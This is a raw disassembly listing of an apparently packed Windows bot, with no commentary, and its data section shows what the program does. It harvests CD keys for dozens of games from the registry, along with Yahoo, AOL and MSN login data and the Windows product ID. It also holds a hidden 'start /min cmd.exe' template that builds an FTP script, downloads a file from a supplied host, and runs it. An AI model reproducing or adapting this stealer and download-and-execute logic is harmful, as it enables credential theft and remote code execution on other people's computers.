aSoftwareElec_8 db 'SOFTWARE\Electronic Arts\EA GAMES\Medal of Honor Allied Assault\e' db 'rgc',0 align 4 dd 3 dup(0) aMedalOfHonor_1 db '[Medal of Honor: Allied Assault: ',0 align 4 dd 0 aSoftwareElec_9 db 'SOFTWARE\Electronic Arts\EA GAMES\James Bond 007 Nightfire\ergc',0 dd 3 dup(0) aJamesBond007Ni db '[James Bond 007: Nightfire: ',0 align 4 dd 0 aPrvkey db 'prvkey',0 align 4 aSoftwareJowood db 'Software\JoWooD\InstalledGames\IG2',0 align 10h aIndustryGiant2 db '[Industry Giant 2: ',0 align 8 aCdkey_0 db 'CDkey',0 align 10h aSoftwareIgi2Re db 'SOFTWARE\IGI 2 Retail\CDKey',0 dd 2 dup(0) aIgi2CovertStri db '[IGI2: Covert Strike: ',0 align 10h aKey db 'key',0 aSoftwareIllusi db 'SOFTWARE\Illusion Softworks\Hidden & Dangerous 2',0 align 10h aHiddenAndDange db '[Hidden and Dangerous 2: ',0 align 10h aSoftwareValveH db 'Software\Valve\Half-Life\Settings',0 align 8 aHalfLife db '[Half-Life: ',0 align 4 aSoftwareValveG db 'Software\Valve\Gunman\Settings',0 align 10h aGunmanChronicl db '[Gunman Chronicles: ',0 align 4 dd 0 aSoftwareEle_10 db 'SOFTWARE\Electronic Arts\EA GAMES\Global Operations\ergc',0 align 10h aGlobalOperatio db '[Global Operations: ',0 align 4 dd 0 aSoftwareEle_11 db 'SOFTWARE\Electronic Arts\EA Distribution\Freedom Force\ergc',0 dd 3 dup(0) aFreedomForce db '[Freedom Force: ',0 align 4 aSoftwareEle_12 db 'SOFTWARE\Electronic Arts\EA Sports\FIFA 2003\ergc',0 align 4 dd 2 dup(0) dd 4649465Bh, 30322041h, 203A3330h, 0 aSoftwareEle_13 db 'SOFTWARE\Electronic Arts\EA Sports\FIFA 2002\ergc',0 align 10h aFifa2002 db '[FIFA 2002: ',0 align 10h aKey_0 db 'Key',0 aSoftwareValveC db 'Software\Valve\CounterStrike\Settings',0 align 4 dd 2 dup(0) aCounterStrike db '[Counter-Strike: ',0 align 4 dd 0 aSoftwareWestwo db 'SOFTWARE\Westwood\Tiberian Sun',0 align 4 dd 2 dup(0) aCommandAndConq db '[Command and Conquer: Tiberian Sun: ',0 align 10h aSerial db 'Serial',0 align 4 aSoftwareWest_0 db 'SOFTWARE\Westwood\Red Alert 2',0 align 4 dd 0 aCommandAndCo_0 db '[Command and Conquer: Red Alert2: ',0 align 10h dd 2 dup(0) aSoftwareEle_14 db 'SOFTWARE\Electronic Arts\EA GAMES\Command and Conquer Generals Ze' db 'ro Hour\ergc',0 align 4 dd 4 dup(0) aCommandAndCo_1 db '[Command and Conquer: Generals: Zero Hour: ',0 dd 2 dup(0) aSoftwareEle_15 db 'SOFTWARE\Electronic Arts\EA GAMES\Generals\ergc',0 dd 3 dup(0) aCommandAndCo_2 db '[Command and Conquer: Generals: ',0 align 10h aSoftwareEle_16 db 'SOFTWARE\Electronic Arts\EA GAMES\Black and White\ergc',0 align 4 dd 3 dup(0) aBlackAndWhite db '[Black and White: ',0 align 4 dd 0 aSoftwareEle_17 db 'SOFTWARE\Electronic Arts\EA GAMES\Battlefield Vietnam\ergc',0 align 4 dd 3 dup(0) aBattlefield1_0 db '[Battlefield 1942: Vietnam:',0 dd 2 dup(0) aSoftwareEle_18 db 'SOFTWARE\Electronic Arts\EA GAMES\Battlefield 1942 The Road to Ro' db 'me\ergc',0 align 10h aBattlefield1_1 db '[Battlefield 1942: The Road To Rome: ',0 align 10h aSoftwareEle_19 db 'SOFTWARE\Electronic Arts\EA GAMES\Battlefield 1942 Secret Weapons' db ' of WWII\ergc',0 align 10h dd 4 dup(0) aBattlefield1_2 db '[Battlefield 1942: Secret Weapons Of WWII: ',0 dd 2 dup(0) db 53h aOftwareElectro db 'OFTWARE\Electronic Arts\EA GAMES\Battlefield 1942\ergc',0 dd 3 dup(0) aBattlefield194 db '[Battlefield 1942: ',0 ; DATA XREF: ___:00447780o align 10h aYahooS db 'yahoo: %s',0 ; DATA XREF: ___:004362A4o align 4 aYahooUserId db 'Yahoo! User ID',0 ; DATA XREF: ___:00436268o align 10h aSoftwareYahooP db 'Software\Yahoo\Pager',0 ; DATA XREF: ___:0043622Ao align 4 dd 0 dword_4488EC dd 3A6D6961h, 732520h, 0dword_4488F8 dd 65726353h, 4E206E65h, 656D61h, 0aSoftwareAmeric db 'Software\America Online\AOL Instant Messenger (TM)\CurrentVersion' ; DATA XREF: ___:0043616Co db '\Login',0 dd 4 dup(0) aFoundCodCdkeyS db 'Found COD CDKey (%s).',0 align 4 dd 0 aTsh3xswtypwguu db 'TSH3XSWTYPWGUUTXE660',0 align 8 aSMainS db '%s\main\%s',0 align 8 aCodkey db 'codkey',0 align 10h aSoftwareActi_0 db 'Software\Activision\Call of Duty',0 align 8 aFoundSof2Cdkey db 'Found SOF2 CDKey (%s).',0 align 10h dd 0 aMtkwftmkemfew3 db 'mtkwftmkemfew3p3b7',0 align 4 dd 0 dd 625C7325h, 5C657361h, 255C706Dh, 73h aInstallpath db 'InstallPath',0 dd 0 dword_448A2C dd 3A6E736Dh, 732520h, 0dword_448A38 dd 6F6C6C41h, 642577h, 0aSoftwareMicr_2 db 'Software\Microsoft\MessengerService\ListCache\.NET Messenger Serv' ; DATA XREF: ___:00436737o db 'ice',0 align 4 dd 3 dup(0) aFoundEmailS_ db 'Found EMail (%s).',0 ; DATA XREF: ___:004366DCo align 10h aSoftwareMicr_1 db 'Software\Microsoft\WAB\WAB4\Wab File Name',0 ; DATA XREF: ___:004365AEo align 4 dd 2 dup(0) aFoundWindowsPr db 'Found Windows Product ID (%s).',0 ; DATA XREF: sub_4369E0+546o align 4 dd 2 dup(0) aProductid db 'ProductId',0 ; DATA XREF: sub_4369E0+52Bo align 4 aSoftwareMicr_0 db 'Software\Microsoft\Windows\CurrentVersion',0 ; DATA XREF: sub_4369E0+4FEo align 4 dd 2 dup(0) aHkuS db 'HKU: %s',0 ; DATA XREF: sub_4369E0+4A4o align 8 aHkcrS db 'HKCR: %s',0 ; DATA XREF: sub_4369E0+3BBo align 4 loc_448B64: ; DATA XREF: sub_4369E0+2D3o dec eax dec ebx inc ebx inc ebx cmp ah, [eax] and eax, 73h loc_448B6F: ; DATA XREF: sub_4369E0+1EBo add [eax+4Bh], cl dec esp dec ebp cmp ah, [eax] and eax, 73h loc_448B7B: ; DATA XREF: sub_4369E0+103o add [eax+4Bh], cl inc ebx push ebp cmp ah, [eax] and eax, 73h loc_448B87: ; DATA XREF: ___:004371A6o ; ___:00437400o ... add bl, ch add ch, bl add eax, 0FFFFF9E8h call fword ptr [ebx+31h] leave mov cx, 0FFFFh loc_448B98: ; CODE XREF: ___:00448B9Dj xor byte ptr [ebx+0Eh], 0FFh inc ebx loop loc_448B98 ; --------------------------------------------------------------------------- db 0 dd 0 aStartMinCmd_ex db 'start /min cmd.exe /c "echo open %s %d > bla.txt && echo user %s ' ; DATA XREF: ___:0043762Bo db '%s >> bla.txt && echo binary >> bla.txt && echo get %s >> bla.txt' db ' && echo quit >> bla.txt && ftp.exe -n -s:bla.txt && %s"',0Ah,0 dd 0Ch dup(0) off_448C90 dd offset off_43F1D4 ; DATA XREF: ___:off_43F318o ; ___:0043F354o align 8 a_?avtype_info@ db '.?AVtype_info@@',0 align 10h dd 1, 9Fh dup(0) byte_448F30 db 0 ; DATA XREF: sub_403530+95o ; sub_404690+200o ... align 4 dword_448F34 dd 0 ; sub_4246D0+11o ... dword_448F38 dd 0 ; resolved to->KERNEL32.Process32Next ; ___:0040D4BFr ... align 10h dword_448F40 dd 0 ; ___:0040D425w ... dd 8 dup(0) dword_448F64 dd 41h dup(0) ; ___:0040D460o ... dword_449068 dd 0 ; ___:loc_40D4B4r ... dword_44906C dd 0 ; resolved to->KERNEL32.Process32First ; ___:0040D42Fr ... dword_449070 dd 0 ; resolved to->KERNEL32.CreateToolhelp32Snapshot ; sub_40D660+CAw dword_449074 dd 0 ; sub_40D660+E3r dd 11h dup(0) dword_4490BC dd 0 ; sub_410030+47Dr dword_4490C0 dd 0 ; sub_410030+515r ... dword_4490C4 dd 0 ; sub_410030+655r ... dword_4490C8 dd 0 ; sub_410030+B79r ... dword_4490CC dd 0 ; sub_410030+74Br dword_4490D0 dd 0 ; sub_410030+828r dword_4490D4 dd 0 ; sub_410030+77Cr dword_4490D8 dd 0 ; sub_410030+4DDr ... dword_4490DC dd 0 ; sub_410030+311r dword_4490E0 dd 0 ; sub_410030+34Dr ... dword_4490E4 dd 0 ; sub_410030+33Dr dword_4490E8 dd 0 ; sub_410030+3D2r dword_4490EC dd 0 ; sub_410030+E93r dword_4490F0 dd 0 ; sub_410030+1220r ... dword_4490F4 dd 0 ; sub_4120B0+4DAr dword_4490F8 dd 0 ; sub_410030+683r dword_4490FC dd 0 ; sub_410030+6B5r dword_449100 dd 0 ; sub_410030+1252r dd 5 dup(0) dword_449118 dd 10h dup(0) ; ___:004040AFo ... db 2 dup(0) byte_44915A db 0 ; DATA XREF: sub_409B10r sub_409B80r align 4 db 3 dup(0) byte_44915F db 0 ; DATA XREF: sub_40D660+10Fr db 0 byte_449161 db 0 ; DATA XREF: sub_40DBF0r word_449162 dw 0 ; DATA XREF: sub_40DBF0+9o dd 44h dup(0) db 3 dup(0) byte_449277 db 0 ; DATA XREF: ___:00412F9Ao ; ___:0041304Fo ... db 3 dup(0) byte_44927B db 0 ; DATA XREF: sub_41F960:loc_41F99Dr align 10h dword_449280 dd 12h dup(0) ; sub_410030+114o db 0 byte_4492C9 db 3 dup(0) ; DATA XREF: ___:00408BA3o ; sub_410030+159o ... dd 11h dup(0) db 2 dup(0) word_449312 dw 0 ; DATA XREF: ___:00408B7Ao ; sub_410030+132o dd 6 dup(0) word_44932C dw 0 ; DATA XREF: sub_410030+1E1r align 10h dd 0Ah dup(0) db 3 dup(0) byte_44935B db 0 ; DATA XREF: ___:00408BCCo ; sub_410030+17Co ... dd 12h dup(0) dword_4493A4 dd 12h dup(0) ; sub_410030+F7o ... db 0 byte_4493ED db 3 dup(0) ; DATA XREF: ___:00408B05o ; sub_410030+D0o ... dd 23h dup(0) db 3 dup(0) byte_44947F db 0 ; DATA XREF: ___:00408BF5o ; sub_410030+19Ao dd 24h dup(0) db 0 byte_449511 db 3 dup(0) ; DATA XREF: sub_425100+2Bo ; sub_425100+37o ... dd 11h dup(0) db 2 dup(0) word_44955A dw 0 ; DATA XREF: ___:00412F6Ao ; ___:00412F89o ... dd 3Ch dup(0) db 3 dup(0) dword_44964F dd 0 ; sub_41F030+154r ... align 4 dd 35h dup(0) db 0 byte_449729 db 0 ; DATA XREF: sub_41BA50+18r align 4 dd 36h dup(0) byte_449804 db 0 ; DATA XREF: sub_410030+842r align 4 dd 0Bh dup(0) dword_449834 dd 18h dup(0) ; sub_40EE40+97o ... db 2 dup(0) byte_449896 db 0 ; DATA XREF: sub_404CC0+258r ; sub_41D930+66Er align 4 dd 11h dup(0) db 3 dup(0) byte_4498DF db 0 ; DATA XREF: sub_404CC0:loc_404F30r ; sub_41D930:loc_41DFB6r dd 0Bh dup(0) db 3 dup(0) byte_44990F db 0 ; DATA XREF: sub_404CC0+279o ; sub_41D930+68Fo ... dd 12h dup(0) dword_449958 dd 2Bh dup(0) ; sub_41F030+630o ... dword_449A04 dd 0 dd 11h dup(0) db 0 dword_449A4D dd 0 align 4 dd 0D9h dup(0) byte_449DB8 db 0 ; DATA XREF: sub_41F030+146r ; sub_41F030+5EEr align 4 dd 3A8h dup(0) db 2 dup(0) word_44AC5E dw 0 ; DATA XREF: sub_404690+1BDo ; sub_404B60+31o ... db 2 dup(0) word_44AC62 dw 0 ; DATA XREF: sub_404B60+4o dd 1Ch dup(0) db 2 dup(0) word_44ACD6 dw 0 ; DATA XREF: sub_4076B0+36o ; sub_407740+3Eo ... dd 26h dup(0) dword_44AD70 dd 86h dup(0) ; sub_404CC0+27Eo ... db 3 dup(0) byte_44AF8B db 0 ; DATA XREF: sub_426930+3Bw ; sub_4269A0+7Ew ... dd 7Fh dup(0) db 3 dup(0) dword_44B18B dd 0 ; sub_4269A0+4Fw ... dword_44B18F dd 0 ; ___:0042419Dw ... dword_44B193 dd 0 ; sub_4269A0+5Dr ... dword_44B197 dd 0 ; sub_4269A0+8Cr ... dword_44B19B dd 0 ; sub_4269A0+9Dr dword_44B19F dd 0 ; ___:004241D1r ... byte_44B1A3 db 0 ; DATA XREF: sub_426930+42w ; sub_4269A0+85w dd 2828h dup(0) db 3 dup(0) byte_455247 db 0 ; DATA XREF: ___:off_446EF4o dd 0EB85h dup(0) dword_49005C dd 0BD23h dup(0) db 0 byte_4BF4E9 db 3 dup(0) ; DATA XREF: ___:off_402027o dd 53D8h dup(0) db 0 byte_4D444D db 3 dup(0) ; DATA XREF: ___:off_44530Co dd 0BFFh dup(0) db 2 dup(0) word_4D744E dw 0 ; DATA XREF: sub_58F5B5+75AEo ; sub_58F5B5+75BFo dd 2CEh dup(0) db 3 dup(0) dword_4D7F8B dd 0 ; sub_426BD0+13o align 10h dd 39h dup(0) db 0 byte_4D8075 db 3 dup(0) ; DATA XREF: sub_404C70+1Eo ; sub_404CC0+65o ... dd 5 dup(0) byte_4D808C db 0 ; DATA XREF: sub_404CC0+292w ; sub_404CC0+4EBw dword_4D808D dd 0 ; sub_422B40:loc_4232C4r ... align 4 dd 0 db 0 dword_4D8099 dd 0 ; sub_404C70+2Aw byte_4D809D db 3 dup(0) ; DATA XREF: ___:00412FC4o ; ___:00412FE7o dd 9 dup(0) db 3 dup(0) dword_4D80C7 dd 0 ; sub_428DC0:loc_428EB7r align 4 dd 2Fh dup(0) db 3 dup(0) byte_4D818B db 0 ; DATA XREF: sub_426B60+16o ; sub_426B90+19o db 3 dup(0) byte_4D818F db 0 ; DATA XREF: sub_426A90+4Co dd 6Fh dup(0) db 3 dup(0) byte_4D834F db 0 ; DATA XREF: ___:00408291o ; ___:00408722o ... dd 8 dup(0) dword_4D8370 dd 0 dd 51h dup(0) db 0 byte_4D84B9 db 0 ; DATA XREF: sub_427B10:loc_427BC0r ; sub_427FD0:loc_428085r ... align 4 dd 9Eh dup(0) db 0 dword_4D8735 dd 0 ; sub_427FD0+7Dw ... align 4 dd 1EDAh dup(0) db 0 byte_4E02A5 db 3 dup(0) ; DATA XREF: ___:00419F93o ; sub_41A050+13o dd 1EB9h dup(0) db 3 dup(0) byte_4E7D8F db 0 ; DATA XREF: sub_427D50+1Do dd 21h dup(0) db 0 byte_4E7E15 db 3 dup(0) ; DATA XREF: ___:00419FA3o dd 235h dup(0) db 3 dup(0) byte_4E86EF db 0 ; DATA XREF: sub_427D50+2Fo dd 1D5h dup(0) byte_4E8E44 db 0 ; DATA XREF: sub_404CC0+299w ; sub_410030:loc_410072r ... byte_4E8E45 db 3 dup(0) ; DATA XREF: sub_404CC0+235o ; sub_404CC0+874o ... dd 4 dup(0) db 2 dup(0) word_4E8E5A dw 0 ; DATA XREF: sub_404CC0+2D4o ; ___:00408736o ... dd 0Fh dup(0) db 0 byte_4E8E99 db 0 ; DATA XREF: sub_41F960+31w ; sub_41F960+47w ... db 0 byte_4E8E9B db 0 ; DATA XREF: sub_418590+21o ; sub_41D930+341o ... dd 6D2Eh dup(0) dword_504354 dd 12B6h dup(0) dword_508E2C dd 1000h dup(0) ; ___:00419B9Do ... dword_50CE2C dd 333h dup(0) ; ___:00419BB8o ... dword_50DAF8 dd 0 ; sub_41A110+1Br ... dd 3 dup(0) dword_50DB08 dd 0 ; ___:0041FC3Dw ... dword_50DB0C dd 0 ; sub_41FB90+2Aw ... dword_50DB10 dd 0 dword_50DB14 dd 0 ; ___:0041FC5Bw dword_50DB18 dd 0 dword_50DB1C dd 0 ; ___:0041FC67w ... dword_50DB20 dd 0 ; ___:0041FC6Dw ... dword_50DB24 dd 0 ; ___:00420EA9o dword_50DB28 dd 0 ; sub_41FB90:loc_41FBB4r ... dword_50DB2C dd 0 ; ___:0041FC81w dword_50DB30 dd 0 ; sub_420630+41w ... dword_50DB34 dd 0 ; sub_420630+7Fr dword_50DB38 dd 0 ; sub_420630+92r ... dword_50DB3C dd 0 ; sub_420630+148r dd 3 dup(0) dword_50DB4C dd 0 ; ___:0041C2A5o dword_50DB50 dd 0 ; sub_423820+5r ... dword_50DB54 dd 0 ; ___:00423FABr ... dd 7CEh dup(0) dword_50FA90 dd 6 dup(0) ; ___:00423EAFo ... dword_50FAA8 dd 196h dup(0) ; sub_423760+6Do dword_510100 dd 0 word_510104 dw 0 ; DATA XREF: sub_424F70+A9r align 4 word_510108 dw 0 ; DATA XREF: sub_4253C0+45r ; sub_4257F0+DAr align 4 dword_51010C dd 0 dd 0 byte_510114 db 0 ; DATA XREF: sub_4267D0:loc_426830r ; sub_4267D0+97w align 4 dword_510118 dd 0 ; resolved to->IPHLPAPI.IcmpSendEcho ; sub_427B10+D9r dword_51011C dd 0 ; resolved to->IPHLPAPI.IcmpCreateFile ; sub_427B10+45r dword_510120 dd 0 ; resolved to->IPHLPAPI.IcmpCloseHandle ; sub_427B10+54r ... align 8 dword_510128 dd 80h dup(0) ; sub_427D50+129o dword_510328 dd 0 dword_51032C dd 0 dd 1Dh dup(0) dword_5103A4 dd 0 ; ___:0042C40Dr ... dword_5103A8 dd 0 ; sub_42DE00:loc_42DE96r ... dword_5103AC dd 0 ; resolved to->WS2_32.connect ; sub_432570+2Dr ... dword_5103B0 dd 0 dword_5103B4 dd 0 ; sub_431560r ... dword_5103B8 dd 0 dword_5103BC dd 0 ; sub_4309A0+111w ... dword_5103C0 dd 0 ; sub_4309A0+F6r ... dword_5103C4 dd 0 ; ___:loc_4316A0r dword_5103C8 dd 0 ; resolved to->KERNEL32.InterlockedCompareExchange ; sub_4322D0+2Cr ... dd 2 dup(0) dd 0 dd 13Ah dup(0) dword_5108C0 dd 10h dup(0) ; sub_431470:loc_4314A0o ... dword_510900 dd 8 dup(0) ; sub_430830+25o ... dword_510920 dd 8 dup(0) ; sub_431980+25o ... dword_510940 dd 8 dup(0) ; sub_432850+84o ... dword_510960 dd 8 dup(0) ; sub_432850+8Bo ... dword_510980 dd 9 dup(0) ; sub_4309A0:loc_430AB7o ... dd 0FFFFFFFFh, 3 dup(0) dd 0FFFFFFFFh dd 192h dup(0) dd 5 dup(1AA6794Dh), 5 dup(65E48F8Fh), 5 dup(62BB46C0h) dd 5 dup(367B0C75h), 5 dup(66DFA7DFh), 5 dup(631E0D7Bh) dd 5 dup(24DCE02Ah), 5 dup(1833ACDBh), 5 dup(6708C228h) dd 5 dup(567B75C4h), 5 dup(69387376h), 1Eh dup(0) dd 631E0D7Bh, 10h dup(0) aVs8i db 'vs8i',0 align 10h dd 58h dup(0) dd 367B0C75h, 1Ch dup(0) dd 6708C228h, 14h dup(0) dd 65E48F8Fh, 52h dup(0) dd 1AA6794Dh, 1Bh dup(0) dd 567B75C4h, 0Bh dup(0) dd 24DCE02Ah, 0Ch dup(0) dd 66DFA7DFh, 2Bh dup(0) dd 1833ACDBh, 11h dup(0) dd 62BB46C0h, 0Ah dup(0) dd 28D03D8h, 28E0000h, 28F0000h dword_511718 dd 28F134Ch dd 28F14ACh dword_511720 dd 28F17DAh ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- db 1Ah, 8Fh, 2 dd 2900000h dword_51172C dd 2910000h dd 2920000h, 29202B8h, 292062Fh, 2920AA7h dword_511740 dd 2930000h ; sub_40E870+25Ar ... dword_511744 dd 2930545h dword_511748 dd 293078Eh dd 2930926h, 2930C4Ch dword_511754 dd 2940000h ; sub_40EE40+15Er ... dd 2940261h dword_51175C dd 2950000h ; sub_40E870+22Cr dd 2960000h dword_511764 dd 296029Eh ; sub_4208E0+285r ... dd 2970000h dword_51176C dd 2971201h ; sub_40E870+24Cr dd 10h dup(0) dd 76F36C5Bh, 0Bh dup(0) dword_5117E0 dd 2710000h ; sub_420630+FEr dd 2720000h, 2730000h, 2730720h, 2730994h, 2730CADh, 2730EACh dd 2740000h, 2740763h, 2740BAAh, 2750000h, 275020Ah, 27508C5h dd 27508F4h, 2760000h, 27603DDh, 2760715h, 2760A57h, 2760C28h dd 2760F67h, 2770000h, 27705EAh, 27706C8h, 2770982h, 2770B7Fh dd 2770D73h, 2780000h, 27802D5h, 2780469h, 2780570h, 278076Dh dd 278081Eh, 2790000h dword_511864 dd 27906F2h dword_511868 dd 2790E47h dword_51186C dd 27A0000h dd 7C901005h, 7C9010EDh, 27A0187h, 27A01BFh, 27A01DCh dd 27A02ABh, 27A0A61h, 27B0000h, 27B03C5h, 27C0000h, 27D0000h dd 27D0990h, 27E0000h, 27F0000h, 27F088Ah dword_5118AC dd 27F0C4Bh ; sub_410030+47r ... dd 27F0D56h, 2800000h, 2800565h, 2810000h, 2820000h, 2830000h dd 2840000h dword_5118CC dd 2841680h dd 2841874h, 2850000h dword_5118D8 dd 2850369h ; sub_41B5B0+2Fr ... dd 2850505h dword_5118E0 dd 2850BF4h ; sub_4204D0+2Er ... dd 2860000h, 2870000h, 2870C69h dword_5118F0 dd 2880000h dd 288033Bh, 2890000h, 28A0000h, 28A1273h, 28A1CCEh, 28B0000h dd 28B0717h, 28B0DC4h dd 28C0000h dword_511918 dd 28C04C7h ; sub_420630:loc_42067Cr ... dd 1Ah dup(0) dd 71B2578Ch, 71B2517Fh, 71B25099h, 0Bh dup(0) dd 76085AE4h, 760976AFh, 7608B84Ch, 76081F67h, 760A0430h dd 7608F485h, 7609202Eh, 760A044Fh, 760A036Bh dword_5119E0 dd 760AC190h dd 0Dh dup(0) ; --------------------------------------------------------------------------- xchg eax, esp pop esp retn ; --------------------------------------------------------------------------- ja short loc_511A99 push ebx retn ; --------------------------------------------------------------------------- db 77h db 0DBh ; Ϋ db 0F1h ; ρ db 0C1h ; Α db 77h ; w ; --------------------------------------------------------------------------- loc_511A24: ; CODE XREF: ___:00511A34j movsb icebp sal dword ptr [edi-28h], 23h mov byte ptr [edi+75h], 0D6h les esi, [edi+67h] popf retn ; --------------------------------------------------------------------------- db 77h ; --------------------------------------------------------------------------- jmp short loc_511A24 ; --------------------------------------------------------------------------- sal dword ptr [edi-54h], 17h mov byte ptr [edi-52h], 2Dh retn ; --------------------------------------------------------------------------- db 77h dd 77C39E9Ah, 77C34DF8h, 77C34E51h, 77C21868h, 77C40BB1h dd 77C36D74h, 77C3619Ch, 77C49113h, 77C3A307h, 77C3A3DBh dd 77C4186Ah dword_511A6C dd 77C3F931h ; resolved to->MSVCRT.sprintf ; sub_42E5B0+53r ... dword_511A70 dd 77C1F2BCh ; resolved to->MSVCRT._errno dd 77C371FAh, 77C36DF2h dword_511A7C dd 77C5F97Ch ; resolved to->MSVCRT.__mb_cur_max dd 77C4EE2Fh, 77C227FAh, 77C2C0C3h dword_511A8C dd 77C40E13h ; resolved to->MSVCRT.fprintfdword_511A90 dd 77C5FC80h ; resolved to->MSVCRT._iob ; sub_42DE00+4Ar ... ; --------------------------------------------------------------------------- imul dh retn ; --------------------------------------------------------------------------- db 77h db 72h ; --------------------------------------------------------------------------- loc_511A99: ; CODE XREF: ___:00511A1Bj sbb eax, esp ; --------------------------------------------------------------------------- db 77h dword_511A9C dd 77C47BE0h ; resolved to->MSVCRT.strrchrdword_511AA0 dd 77C4173Bh ; resolved to->MSVCRT.fwritedword_511AA4 dd 77C4139Ch ; resolved to->MSVCRT.fseekdword_511AA8 dd 77C4624Eh ; resolved to->MSVCRT._stricmpdword_511AAC dd 77C41574h ; resolved to->MSVCRT.ftelldword_511AB0 dd 77C411FBh ; resolved to->MSVCRT.fread dd 77C40E76h dword_511AB8 dd 77C47E61h ; resolved to->MSVCRT.wcscat ; ___:0041C3DAr ; --------------------------------------------------------------------------- adc al, dh retn ; --------------------------------------------------------------------------- db 77h dd 77C40AB1h, 77C4FA10h dword_511AC8 dd 77C371D3h ; resolved to->MSVCRT.rand ; sub_41BA50+17Er ... dd 77C371BCh dword_511AD0 dd 77C2C21Bh ; resolved to->MSVCRT.free ; sub_42F2C0+34r ... dd 77C2C407h dword_511AD8 dd 77C47920h ; resolved to->MSVCRT.strncat dd 77C39E7Eh dword_511AE0 dd 77C47A50h ; resolved to->MSVCRT.strncmp ; sub_42DE00+90r dword_511AE4 dd 77C3FA76h ; resolved to->MSVCRT._snprintf ; sub_426070+C8r ... db 90h db 0CFh, 0C1h, 77h dword_511AEC dd 77C47660h ; resolved to->MSVCRT.strchr db 8Ah, 0FFh ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- db 77h ; --------------------------------------------------------------------------- mul byte ptr [esi] retn 0E777h ; --------------------------------------------------------------------------- db 14h, 0C2h, 77h dd 77C29CC5h dword_511B00 dd 77C47CE5h ; resolved to->MSVCRT.strtok ; sub_41BD90+5Dr dword_511B04 dd 77C47C60h ; resolved to->MSVCRT.strstr ; sub_410030+1126r ... dword_511B08 dd 77C47A90h ; resolved to->MSVCRT.strncpy ; ___:00419CDAr dd 77C29CDDh, 77C293C7h dword_511B14 dd 77C1BF18h ; resolved to->MSVCRT.atoi ; sub_422B40+203r ... dd 77C35F0Dh dword_511B1C dd 77C5F988h ; resolved to->MSVCRT._pctype dd 77C46170h, 77C1C561h, 77C46125h dd 77C46320h dd 19h dup(0) dd 76BF215Ah, 76BF1F1Ch, 76BF3A9Ah, 0Bh dup(0) dd 7CA41110h, 0Bh dup(0) dd 28D0000h off_511C00 dd offset sub_5F76F7 ; DATA XREF: ___:00419FBDr ; sub_41A050+2Dr ... dd 0Bh dup(0) dd 71AB951Eh, 71AB3E00h dword_511C38 dd 71AB2B66h ; resolved to->WS2_32.ntohs ; sub_425100:loc_4251B2r ... dword_511C3C dd 71AB3B91h ; resolved to->WS2_32.socket ; sub_42B8E0:loc_42B99Br dd 71AB406Ah, 71AB4428h, 71AB664Dh, 71AB50C8h dword_511C50 dd 71AB94DCh ; resolved to->WS2_32.WSAGetLastError dd 71AB4544h, 71AC0B50h dword_511C5C dd 71AB2B66h ; resolved to->WS2_32.ntohs dd 71AB2BC0h dword_511C64 dd 71AB2D0Fh ; resolved to->WS2_32.recvfromdword_511C68 dd 71AB2C69h ; resolved to->WS2_32.sendto ; sub_42B8E0+F9r dd 71AB3EA1h, 71AB8769h, 71AB4489h, 71ABE6EBh, 71AC0BDEh dd 71AB2A5Eh, 71AB4FD4h dword_511C88 dd 71AB3F41h ; resolved to->WS2_32.inet_ntoa dd 71AB88D3h, 71AB2BC0h dword_511C94 dd 71AB2DC0h ; resolved to->WS2_32.select ; sub_41A7D0+48r ... dword_511C98 dd 71AC1028h ; resolved to->WS2_32.acceptdword_511C9C dd 71AB9639h ; resolved to->WS2_32.closesocket ; sub_41F960+198r ... dword_511CA0 dd 71AB428Ah ; resolved to->WS2_32.send ; ___:004217E1r ... dword_511CA4 dd 71AB615Ah ; resolved to->WS2_32.recv ; sub_4253C0+8Br ... dd 71AB2BF4h dword_511CAC dd 71AB4519h ; resolved to->WS2_32.ioctlsocket ; sub_42C830+E8r dd 71ABE479h, 11h dup(0) dd 76D6AC1Dh, 4C1h dup(0) ___ ends ; Section 2. (virtual address 00113000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00001000 ( 4096.) ; Offset to raw data for section: 00113000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _rsrc___ segment para public 'DATA' use32 assume cs:_rsrc___ ;org 513000h unk_513000 db 0 ; DATA XREF: Themida_:00582500o db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 